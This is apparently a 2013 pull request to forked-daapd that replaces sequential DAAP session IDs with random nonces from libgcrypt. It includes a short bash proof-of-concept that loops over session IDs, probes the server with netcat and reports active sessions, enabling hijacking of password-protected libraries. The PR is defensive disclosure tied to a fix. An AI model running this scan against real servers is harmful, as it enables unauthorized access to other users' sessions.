jasonmc/forked-daapd — pull request #105 by thsnr (2013-05-30 17:12:21+00:00)
Title: Use nonces for DAAP session IDs.

Currently DAAP sessions IDs are generated in a predictable manner, i.e. starting from 100 and incrementing from there. This can be easily exploited to hijack sessions and gain access to password protected libraries.

Since forked-daapd depends on libgcrypt anyway, I used it to generate unpredicatable random DAAP session IDs. Since we have to check for (admittedly unlikely) collisions, generating a new ID now takes O(log n) instead of O(1), where n is the number of open sessions, but this shouldn't be a problem as n usually isn't very large.

Proof of concept sniffer for predictable DAAP session IDs:

#!/bin/bash

ADDRESS=localhost
PORT=3689
URL=/databases

if [ "$#" != "2" ]; then
echo "$0 "
exit 1
fi

START="$1"
END="$2"
for (( id=$START; id<=$END; id++ )); do
query="GET $URL?session-id=$id HTTP/1.1\r\n\r\n"
head=`echo -e $query | netcat -q 1 $ADDRESS $PORT | head -n 1`
code=`echo $head | awk '{print $2}'`
if [ "$code" == "200" ]; then
echo "Found active session-id: $id"
fi
done